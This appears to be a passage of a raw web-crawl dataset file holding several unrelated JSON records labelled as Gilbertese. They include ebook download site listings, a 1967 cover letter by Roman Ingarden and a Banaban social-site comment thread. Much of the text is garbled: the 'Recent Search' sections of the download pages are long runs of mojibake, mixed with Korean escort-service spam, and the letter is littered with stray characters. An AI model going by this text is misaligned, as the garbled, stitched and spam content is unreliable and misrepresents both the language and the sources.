metall","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.cc-autunois.com\/ikea-caisson-bureau\/","date":"2019-06-16T08:32:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998084.36\/warc\/CC-MAIN-20190616082703-20190616104703-00105.warc.gz","language":"gil","language_score":0.4151960313,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.415196031332016, \"fra_Latn_score\": 0.1651611626148224, \"atj_Latn_score\": 0.11617357283830643, \"amk_Latn_score\": 0.05606556683778763, \"sco_Latn_score\": 0.045236438512802124, \"ewo_Latn_score\": 0.027886569499969482, \"dhv_Latn_score\": 0.01714429073035717}","num_words":185,"character_repetition_ratio":0.161,"word_repetition_ratio":0.023,"special_characters_ratio":0.158,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.437,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nThe Path Book\nGenres\nMost Read\nAccount\nHome\nChick-lit\nChick Lit\nThe Bookish Life of Nina Hill\nThe Wedding Party (The Wedding Date, #3)\nHow to Hack a Heartbreak\nThe Book Charmer (Dove Pond, #1)\nThe Floating Feldmans\nThe Me I Used to Be\nThe Marriage Clock\nMarilou is Everywhere\nMidnight at the Blackbird Café\nThe Plus One\nLove and Other Mistakes\nThe Nearest Exit May Be Behind You\nHattie's Home for Broken Hearts\nA Summer Escape and Strawberry Cake at the Cosy Kettle (Cosy Kettle, #2)\nA Very French Affair\nThe Best Thing\nSummer of '69\nWhen We Believed in Mermaids\nUnder Currents\nWinter Cottage\nBig Little Lies\nSea of Memories\nI Owe You One\nThe Upside of Falling Down\nSpring House\nUntil December (Until Her\/Him, #8)\nThe Storyteller's Secret\nStill Me (Me Before You, #3)\nThe Perfect Dress\nBuck Wild (Bennett Boys Ranch #1)\nConfessions of a Shopaholic (Shopaholic, #1)\nBridget Jones's Diary (Bridget Jones, #1)\nCan You Keep a Secret?\nThe Devil Wears Prada (The Devil Wears Prada, #1)\nThe Undomestic Goddess\nSomething Borrowed (Darcy & Rachel, #1)\nRemember Me?\nI've Got Your Number\nShopaholic Takes Manhattan (Shopaholic, #2)\nTwenties Girl\nShopaholic Ties the Knot (Shopaholic, #3)\nSomething Blue (Darcy & Rachel, #2)\nGood in Bed (Cannie Shapiro, #1)\nShopaholic and Sister (Shopaholic, #4)\nShopaholic & Baby (Shopaholic, #5)\nRecent Book\nJust As I Thought\nBetsy's Return\nThe Alison Rules\nLabyrinth of Fire\nThe Greystone Chronicles Book Four: Defenders of the Realm\nDorohedoro, Vol. 3\nSwitchblade Goddess\nThe Wisdom of Crowds\nWelcome to Leo's\nVersos Sencillos: Simple Verses\nRecent Search\nae ey c c ez a aes ae a ae e ae c ez aae a s c a torrent ae ae e a zh63 tre863 som ae ae a c ezza ezzaey aes c 9 04 16 20 39ae ey c a ae ezae a ae ae a sizae aaaaµ e ae az e a e e ae 4p ae ey html\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaai i i i aaai i aaaaaaaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ne z i i e ae i i i i es ae yaee yi i e s 24e i i i e e i i ezyae e i eae ae i i e es i i e e i aaa e i i i e zi aaae i ey i aaaaai i âµ za i e c es c i ae e e e xm33 shrf636 som e aes i i e e i ea e i es e e ae i i e zi e ae i i i i e i e zee e z e i i i ae z e i i i e i ea i i w8 ses i i i aaae i i i i e z e i i i e i e i e i e i e zi aaae i ey i aaaaai i âµ s2019 04 16 15 04e z i i e ae i i i i e z i i e ae i i i i e zea i i aaae i i e e z lo\nbirthday hairstyles girls for 10 year olds in south africa\ni i a i a e e i i i po 34 po o34 ci m i a i iae aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa繕i e e eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas i i a i y 2019 02 28 10 23i i a aij i a i i e e e i i a i i a i i e e e i a i i e e e i i a 0e i a i e e i i i i a i i e e e\ne e es i e seza ea i e m o46 moo2 7 cda m e se e e se e y 2019 03 08 19 42e e aij e sezaeacaaaº a el e se sezae e sez e e e e sezae see el eza e sezae e e e sezae e e e e\nbill of sale on a boat\nae aezaaaªc ae ae a ae ae e a z po 34 po o34 ce ae ez a ae ae ae a c ezza ezzaey aes c c 2019 03 10 16 35ae aezaaaªc aij ae ae a ae ae a c ae aaaµa a ae ae ae a ae ae a c ae aaaµa a ae ae ae a c e a c c ae ae a ae ae a c ezza e aae c ez aae ae ae aaaµ ae aezaaaªc\nae aezaaaâªc ae ae a ae ae e a z po 34 po o34 ce ae ez a ae ae ae a c ezza ezzaey aes c c 2019 03 10 16 35ae aezaaaâªc aij ae ae a ae ae a c ae aaaâµa a ae ae ae a ae ae a c ae aaaâµa a ae ae ae a c e a c c ae ae a ae ae a c ezza e aae c ez aae ae ae aaaâµ ae aezaaaâªc\nae aezaaaaªc ae ae a ae ae e a z po 34 po o34 ce ae ez a ae ae ae a c ezza ezzaey aes c c 2019 03 10 16 35ae aezaaaaªc aij ae ae a ae ae a c ae aaaaµa a ae ae ae a ae ae a c ae aaaaµa a ae ae ae a c e a c c ae ae a ae ae a c ezza e aae c ez aae ae ae aaaaµ ae aezaaaaªc\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n7 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!\nBooks","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/girlsloco.com\/genres\/chick-lit\/","date":"2019-08-22T09:43:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317037.24\/warc\/CC-MAIN-20190822084513-20190822110513-00081.warc.gz","language":"gil","language_score":0.6178004742,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.6178004741668701, \"smo_Latn_score\": 0.1656801402568817, \"iso_Latn_score\": 0.055583469569683075, \"tah_Latn_score\": 0.035908859223127365, \"vec_Latn_score\": 0.011239077895879745}","num_words":1031,"character_repetition_ratio":0.115,"word_repetition_ratio":0.138,"special_characters_ratio":0.301,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":0.598,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nHome\nCookbooks\nCookbooks\nModern Sourdough: Sweet and Savoury Recipes from Margot Bakery\nThe Whole Fish Cookbook: New Ways to Cook, Eat and Think\nNog eenvoudiger 2\nFrom Scratch: A Memoir of Love, Sicily, and Finding Home\nNotes from a Young Black Chef\nThe Plant Paradox: The Hidden Dangers in \"Healthy\" Foods That Cause Disease and Weight Gain\nJacques Pépin Heart Soul in the Kitchen\nThe No Meat Athlete Cookbook: Whole Food, Plant-Based Recipes to Fuel Your Workouts—and the Rest of Your Life\nNever Binge Again: Reprogram Yourself to Think Like a Permanently Thin Person\nThe Clever Guts Diet\nCookie Recipes\nFood pharmacy: En berättelse om tarmfloror, snälla bakterier, forskning och antiinflammatorisk mat\nBon Bons to Yoga Pants (The Health and Happiness Society, #1)\nKitchen Yarns: Notes on Life, Love, and Food\nThe Baking Bible\nThe Whole30: The 30-Day Guide to Total Health and Food Freedom\nLesser Beasts: A Snout-to-Tail History of the Humble Pig\nQuick and Easy Recipes: 30 MINUTE MEALS: Quick Recipes You Will Love (Quick and Easy Cooking)\nThe Joy of Cooking\nKeto Diet for Beginners: 30-Day Keto Meal Plan for Rapid Weight Loss. Ketogenic Meal Prep Cookbook Full of Easy to Follow Recipes! Lose up to 20 Pounds in 30 Days!\nHow to Cook Everything: Simple Recipes for Great Food\nThe Smitten Kitchen Cookbook\nThe Moosewood Cookbook: Recipes from Moosewood Restaurant, Ithaca, New York\nBetter Homes and Gardens New Cook Book\nVeganomicon: The Ultimate Vegan Cookbook\nPlenty\nJerusalem: A Cookbook\nThe Pioneer Woman Cooks: Recipes from an Accidental Country Girl\nThug Kitchen: The Official Cookbook: Eat Like You Give a F*ck\nCravings: Recipes for All the Food You Want to Eat\nBarefoot Contessa at Home: Everyday Recipes You'll Make Over and Over Again\nSalt, Fat, Acid, Heat: Mastering the Elements of Good Cooking\nEveryday Italian: 125 Simple and Delicious Recipes\nRecent Book\nRookie Yearbook Four\nI Am Ozzy\nHeureux comme un Danois\nO Grande Gatsby\nBaking with Mary Berry: Cakes, Cookies, Pies and Pastries from the British Queen of Baking\nMake Your Bed: Little Things That Can Change Your Life...And Maybe the World\nDead Spy Running\nThe Body Farm\nAll You Can Eat: How Hungry Is America?\nA Dangerous Woman: The Graphic Biography of Emma Goldman\nRecent Search\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai a i i aaai a i i i i aaaaaaaaaaai i ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i a i i ae za a aaaaai i aaaaaaaaaaaaaaaai i aº ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nae ezae a c ez aae ae e e ae ae e a z p o 34 po o34 ce ae ae ae a c ezza csa eza c ez aae a y 2019 02 19 18 56ae ez aij ae ae a c ae aµae a ae ae ae a c e a c se ae a c ez aae ae ezsc sae c ae az ae ae a c ae ae a c ezza ae ez\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai a i i aaai i aaaaa ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nhairstyle allu arjun boys\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai a i i aaai i ai i aaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ni iip iu\nae aee e ae ae ae a c ez a a ae aaaaaaaaaase c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae a c ae aaaaaaaaaaaaaaaaaaaai i aaaµa a ae ae ae a c ezza csa eza 2019 04 16 06 45ae aee e ae aij ae ae a c ae aaaaaaaaaaaaaaaaaaaai i aaaµa ae aea c ae ae a c ez aee e ae ezseae c ez aae aaaaaaaaaascsa c ae ae a c e a c c ae ae a c ez ae aee e ae\ni i i a iz i e e e i e i e e i es i a iz iae aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaオ i i i e i aae i i wyk92 qx4\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai a i i aai a i i aaaaaaaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sa\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n7 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!\nBooks","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/jiusygear.com\/genres\/cookbooks\/","date":"2019-10-24T02:51:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987838289.72\/warc\/CC-MAIN-20191024012613-20191024040113-00283.warc.gz","language":"gil","language_score":0.6218586564,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.6218586564064026, \"iso_Latn_score\": 0.12366753816604614, \"smo_Latn_score\": 0.08336244523525238, \"por_Latn_score\": 0.01936674490571022, \"syl_Latn_score\": 0.016538968309760094, \"sco_Latn_score\": 0.015529856085777283, \"glg_Latn_score\": 0.010195714421570301}","num_words":1081,"character_repetition_ratio":0.131,"word_repetition_ratio":0.274,"special_characters_ratio":0.267,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":0.388,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nHome\nAudiobook\nAudiobook\nEverything, Everything\nInto the Water\nCamino Island\nThe Girl on the Train\nA Man Called Ove\nThe Woman in Cabin 10\nHillbilly Elegy: A Memoir of a Family and Culture in Crisis\nThe Letter\nBig Little Lies\nThe Fix (Amos Decker #3)\nThe Couple Next Door\nThe Other Einstein\nWhen Breath Becomes Air\nThe Hate U Give\nGwendy's Button Box\nReady Player One (Ready Player One, #1)\nYes Please\nHarry Potter and the Sorcerer's Stone (Harry Potter, #1)\nBossypants\nBecoming\nHarry Potter and the Chamber of Secrets (Harry Potter, #2)\nHarry Potter and the Prisoner of Azkaban (Harry Potter, #3)\nHarry Potter and the Goblet of Fire (Harry Potter, #4)\nThe Girl on the Train\nBorn a Crime: Stories From a South African Childhood\nThe Martian\nHarry Potter and the Order of the Phoenix (Harry Potter, #5)\nHarry Potter and the Half-Blood Prince (Harry Potter, #6)\nHarry Potter and the Deathly Hallows (Harry Potter, #7)\nEducated\nRecent Book\nViolin Homework Book and Practice Tracker (Purple)\nThe Path Is Everywhere: Uncovering the Jewels Hidden Within You\nPrinciple-Centered Leadership\nSomewhere Along The Way\nWe Believe You: Survivors of Campus Sexual Assault Speak Out\nRebirth of a Nation: The Making of Modern America, 1877-1920\nStrengths Based Leadership: Great Leaders, Teams, and Why People Follow: A Landmark Study of Great Leaders, Teams, and the Reasons Why We Follow\nFilthy 5\nPrimal Leadership: Realizing the Power of Emotional Intelligence\nHouse of Mirrors\nRecent Search\ne ae ae za ae c ae c ae a cz aeaaaaaaaaaaaµ a ae ae e aaaaaaaaaaaºa a ea a ezc w78 qx488 som e aaaaaaaaaaaºa sa c ae ae eae a yc e ae ae za ae ez pse aae ie aaaaaaaaaaaºa sa c ae ae eae a a a ez fae e e aaaaaaaaaaaºa c c ae a e ae e ae ae ae a khe aaaaaaaaaaaºa sa c ae ae eae e asa aeaaaaaaaaaaaµa aeae 2019 02 27 07 08 53e aaaaaaaaaaaºa c c ae a e c e ae ae e ae ae za ae e ae ae za ae c c e ae ae ze ae ae za ae caaaaaaaaaaaº ae e ae ae za ae\ni i a i a iz iae aオ i a iz e e es e ea i eaェ i e e i i h63 u qx488 som i i a g i i a azn xi i a i i a abzi a i e e i i a ni i a 2019 04 17 07 21\ne iae e e i a iz i is e e i i m o46 moo2 7 ci m i a iz i e i i a e i a iz i e e e y 2019 02 20 18 32e iae e e aij i a e i i a i a iz iae aaaµi e i a iz i a i is i i i a iz iae i a\ne i i a i iae aaaµ 24i a i a i iae aaaµ i i i e e eaaaª i i i wyk92 fkh846 som i e i e i be i i a i i a i is i i e i 2019 04 17 07 21 aeaaaµ i eaaaª i e e mso e i e i 3voi i is\nmens pubis\niae a i e i a iz iae aaaaaaaaaaaaaaaµ i a iz e e es e i a e i i mxm33 cs mss798 som iae a i e rw iae a i e i i e i a iz eaaaaaaaaaaaaaaaµ e di is i is eaaaaaaaaaaas e 2019 04 16 15 21 iae a i e i i\nae aee e ae ae ae a c ez a a ae aaaase c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae a c ae aaaaaµa a ae ae ae a c ezza csa eza 2019 04 16 06 45ae aee e ae aij ae ae a c ae aaaaaµa ae aea c ae ae a c ez aee e ae ezseae c ez aae aaaascsa c ae ae a c e a c c ae ae a c ez ae aee e ae\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i aai a i i aaaaaaaaaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ne ae a ae ae c e a e a ae e ae ae ae av ae e a mxm33 fkh846 som we ae a ae ae c e a a e aae a ae e c 3c2019 03 06 14 23e ae c e a e e ae a we ae a xvuae ae c e ae c e a c a e\ne e es i e seza ea i e m o46 moo2 7 cda m e se e e se e y 2019 03 08 19 42e e aij e sezaeaaaaaaaaµsel e se sezae e sez e\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n7 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!\nBooks","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.hiltonbooks.com\/genres\/audiobook\/","date":"2019-11-21T19:29:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670948.64\/warc\/CC-MAIN-20191121180800-20191121204800-00110.warc.gz","language":"gil","language_score":0.4810535908,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.48105359077453613, \"smo_Latn_score\": 0.34609904885292053, \"iso_Latn_score\": 0.033102575689554214, \"tah_Latn_score\": 0.03284691646695137, \"por_Latn_score\": 0.014487909153103828}","num_words":950,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":0.519,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nNew Releases Tagged \"Cookbooks\"\nSee more\nVegan Yack Attack's Plant-Based Meal Prep: Weekly Meal Plans and Recipes to Streamline Your Vegan Lifestyle\nThe Blue Zones Kitchen: 100 Recipes to Live to 100\nBody Love Every Day: Choose Your Life-Changing 21-Day Path to Food Freedom\nVegan(ish): 100 simple, budget recipes that don't cost the earth\nOur Harlem: Seven Days of Cooking, Music and Soul at the Red Rooster\nNew Releases Tagged \"History\"\nSee more\nFight of the Century: Writers Reflect on 100 Years of Landmark ACLU Cases\nThe Art of Resistance\nOverground Railroad: The Green Book & Roots of Black Travel in America\nImperfect Union: How Jessie and John Frémont Mapped the West, Invented Celebrity, and Helped Cause the Civil War\nFriendship: The Evolution, Biology, and Extraordinary Power of Life's Fundamental Bond\nNew Releases Tagged \"Nonfiction\"\nSee more\nUncanny Valley\nWhy We Can't Sleep: Women's New Midlife Crisis\nYou're Not Listening: What You're Missing and Why It Matters\nThe Magical Language of Others\nHill Women: Finding Family and a Way Forward in the Appalachian Mountains\nRecent Book\nTreacherous Love\nThe Dyslexia Empowerment Plan: A Blueprint for Renewing Your Child's Confidence and Love of Learning\nBuddhism\nLead Like a Pirate: Make School Amazing for Your Students and Staff\nEndless Possibility\nAiden: House of Flames\nThe Wolf and the Dove\nThe Struggle for Europe\nBulletproof Memory: The Ultimate Hacks To Unlock Hidden Powers of Mind and Memory (Unlimited Memory Book 1)\nSomething Wiccan This Way Comes\nRecent Search\n의령출장샵 예약 외국인출장만남 카톡mxm33 ptk455 som 의령의령의령2019 04 01 18 37여인숙 가격 의령zjf의령출장안마추천부산 모텔 아가씨 의령\nae aee e ae ae ae a c ez a a ae aaaase c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae a c ae aaaaaaaオa a ae ae ae a c ezza csa eza 2019 04 16 06 45ae aee e ae aij ae ae a c ae aaaaaaaオa ae aea c ae ae a c ez aee e ae ezseae c ez aae aaaascsa c ae ae a c e a c c ae ae a c ez ae aee e ae\ni i e e i a iz iae aaaaai i aaaaaaaai i aaaaaaaai i ai i aµ i e i e e i es i a iz iae aaaaai i aaaaaaaai i aaaaaaaai i ai i aµ i a iz i a e is i i wyk92 tre863 som e e a e i i i a iz e a e e i e e i i i e e eaaaaai i aaaaaas i qyi i e e i i e e 2019 04 16 14 40\ni i e i i is a e i e i es e e e a e i e e a iz opm65 xyz is\nae aea ae ae ae a c e ae ae a c ae aaaaaaaaaaaaaac ae aezaaaaaaaaaaaaaac a c ae ey ey aezaaaaaaaaaaaaaac a c ez ae ae e a zmxm33 mss798 som ae ae a e a eaaaaaaaaaaaaaac ezzea a s eza a c 2019 03 04 19 54ae c e a se c ae ae ae cy ae az ae aea ae gblae aea ae ae ae a c ezaszaessezsaee e c ae aea ae ou cqae html\na line haircuts\ne ae ae za ae c ae c ae a cz aeaaaaaaaaaaaaaµ a ae ae e aaaaaaaaaaaaaºa a ea a ezc w78 qx488 som e aaaaaaaaaaaaaºa sa c ae ae eae a yc e ae ae za a\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai i ai i ェ ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nae aee e ae ae ae a c ez a a ae aa陋e c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai i aaaai i aai i i i aaaaェ ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n30 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.alitasatucasa.com\/","date":"2020-02-17T17:21:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875142603.80\/warc\/CC-MAIN-20200217145609-20200217175609-00157.warc.gz","language":"gil","language_score":0.6031497121,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.6031497120857239, \"smo_Latn_score\": 0.16409479081630707, \"iso_Latn_score\": 0.06716493517160416, \"por_Latn_score\": 0.01754693128168583, \"tah_Latn_score\": 0.013660702854394913, \"ton_Latn_score\": 0.010963909327983856, \"sco_Latn_score\": 0.010607762262225151}","num_words":865,"character_repetition_ratio":0.1,"word_repetition_ratio":0.189,"special_characters_ratio":0.267,"stopwords_ratio":0.369,"flagged_words_ratio":0.0,"lang_id_score":0.476,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Professor Roman Ingarden\nCracow, Biskupia 14 n n n n n n t.cz. Rabka, 2 July 1967\nn n n n n n n n n n Słoneczna 38\nTo the Committee of the Anniversary Book for Prof. Żółkiewski\nAttn: Dr Kazimierz Wyka\nn n n n n n in WARSAW\nn n n Institute of Literary Research, PAN, Staszic Palace\nn n n [Polska Akademia Nauk, Polish Academy of Sciences]\nHonoured Professor,\nn n n n I enclose the article for the Anniversary Book for Prof. Stefan Żółkiewski as promised, and ask you to send proofs at the appropriate time.\nn I enclose expressions of genuine esteem\nn n n n n n n n (Roman Ingarden)","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/ingarden.archive.uj.edu.pl\/en\/archiwum\/letter-to-kazimierz-wyka-written-02-07-1967\/","date":"2021-03-05T17:10:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178373095.44\/warc\/CC-MAIN-20210305152710-20210305182710-00618.warc.gz","language":"gil","language_score":0.4991244376,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.4991244375705719, \"pol_Latn_score\": 0.08814507722854614, \"dag_Latn_score\": 0.06537362933158875, \"por_Latn_score\": 0.055943962186574936, \"mlt_Latn_score\": 0.05238169804215431, \"mos_Latn_score\": 0.047043342143297195, \"bar_Latn_score\": 0.04250302538275719, \"taq_Latn_score\": 0.024392297491431236, \"slv_Latn_score\": 0.016708727926015854, \"yor_Latn_score\": 0.016654225066304207, \"scn_Latn_score\": 0.015667585656046867}","num_words":114,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":0.353,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"nee mauri riki ... e raraba naba te reitaki.. ao ko uara moa..euara te reirei.. tekeraoi naba am waki ao te kamauri naba mai push tailevu..euara te camp.. i wish we were there too..anyway taraia koaki kan try this site riki aio... kaga to te bai n testing aio ana website.\nrabisdayouth.ning.com ao koa register naba iai ba tia kona naba n reitaki ma ara frens and famz naba... take care n wish u luk...c u on rabisdayouth.ning.com\nneiko iataku bwa koa mate kai koaki write back naba....so\nhw's everythin goin hope u enjoyin stayin in savutalele......wait 4 me there ok........sohola bck weneva u free so dat i knoww u still alive....ok!!!!!!!!!!!!\nreguds 2 de fmly at om heeee.......bye 4 now and take care........\nngaia anne e raraba naba te taeka ni katekeraoi.. ao ai wana naba nakoim n am waki... ena tekeraoi naba am waki ikanne ao ai bon te kamauri mai irouia kain push tailevu....tau gud nite moa ao koa manga reitia mai ikanne.\nmauri nee e raba naba te reply back ao kanga akea moa mai ikai ba e bati te tabe nte bae te assignment aei ao tao ai titebo naba ma ngke n am reirei.. tau ena tekeraoi am waki ao koa manga reitia mai ikanne..\nhey mauri riki... e raba naba te taeka ni kaunga... ao ai arona naba ma ngke.. ena tekeraoi am waki ao riki n am reirei. te kamauri naba mai ikai ao riki nakoia am koraki.. tau tao na toki moa ikai ao koa manga bon hit back kana e reke am taai.\nneiko!!!!an kabwara au bure bwa ianang tabetabe iroun teuarei.....\ny do i av 2 rpli if ria is waitin 4 u.....in savutalele.....................\nn by da way!!!!!!!!!!!!!!do i know whom am i repltin wid...................\nhey!!!!!!!!!!!!!!!!!taraia naing riai nnako moa bwa eweweteai au aunty...\ntia boo moa\nprincess xena\nyour princess\nknow how to take jokes.....eh ehehehehhehhehhehheheheheheheheheheh.\nneiko eaera ngai ko nang wiibe...tima ko bon aki reireiaki raoi nam auti, mae engae nane ea bon anga ana kamauri ten naewa nakoim...euara am reirei esp ami new uniform aikanne...itaku ba kona bon kan mani boboto raoi nami kaben uniform nte maritime campus...tao tia manga bon kakaitibo but i think i wont be able 2 recgnise u...bye2\nthanx sis for tellin me abot tis website...its cool, get to know more of our beloved island n meet long lost frens like kristina and toka....nways hit bac becos reali want to know wats happenin dea?...tak care\nmauri ao e raba naba re reitaki.... kanga akea rongorongon ara tabo aio ba are ea bon raroanako ma ami town anne suva. nway neiko tekeraoi am reirei ao tekamauri nakoia ami koraki i suva. take care and wish u luck... n enjoy ur weekend.... hahahah.... reagrds to nei toka o tuanga ba ena comment back ba iaia naba n comment nakon ana page ao e tuai n hit back...\nMauri neiko!!tera kokaraoia nte website aio???\ntiaki te tabo ntakakaro aio!!!neiko kam aki weekend??\ntia kaitbo nte auti...tia bo moa nei maua kamarie!!!\nneiko aio au email email@example.com!!!!\nwhat about your's..catch ya up later..i really want to sleep...\nthax 4 joining banaban voice..BYE!!regards to school mates..\nhey what about konenerio??hahaha!!take care!!\nMaua mauri,\nIt is good to see you guys joining this site as it was meant for all Banabans, families and friends to share their interests and be heard worldwide, so welcome aboard and enjoy all Banaban voice activities and articles that it can 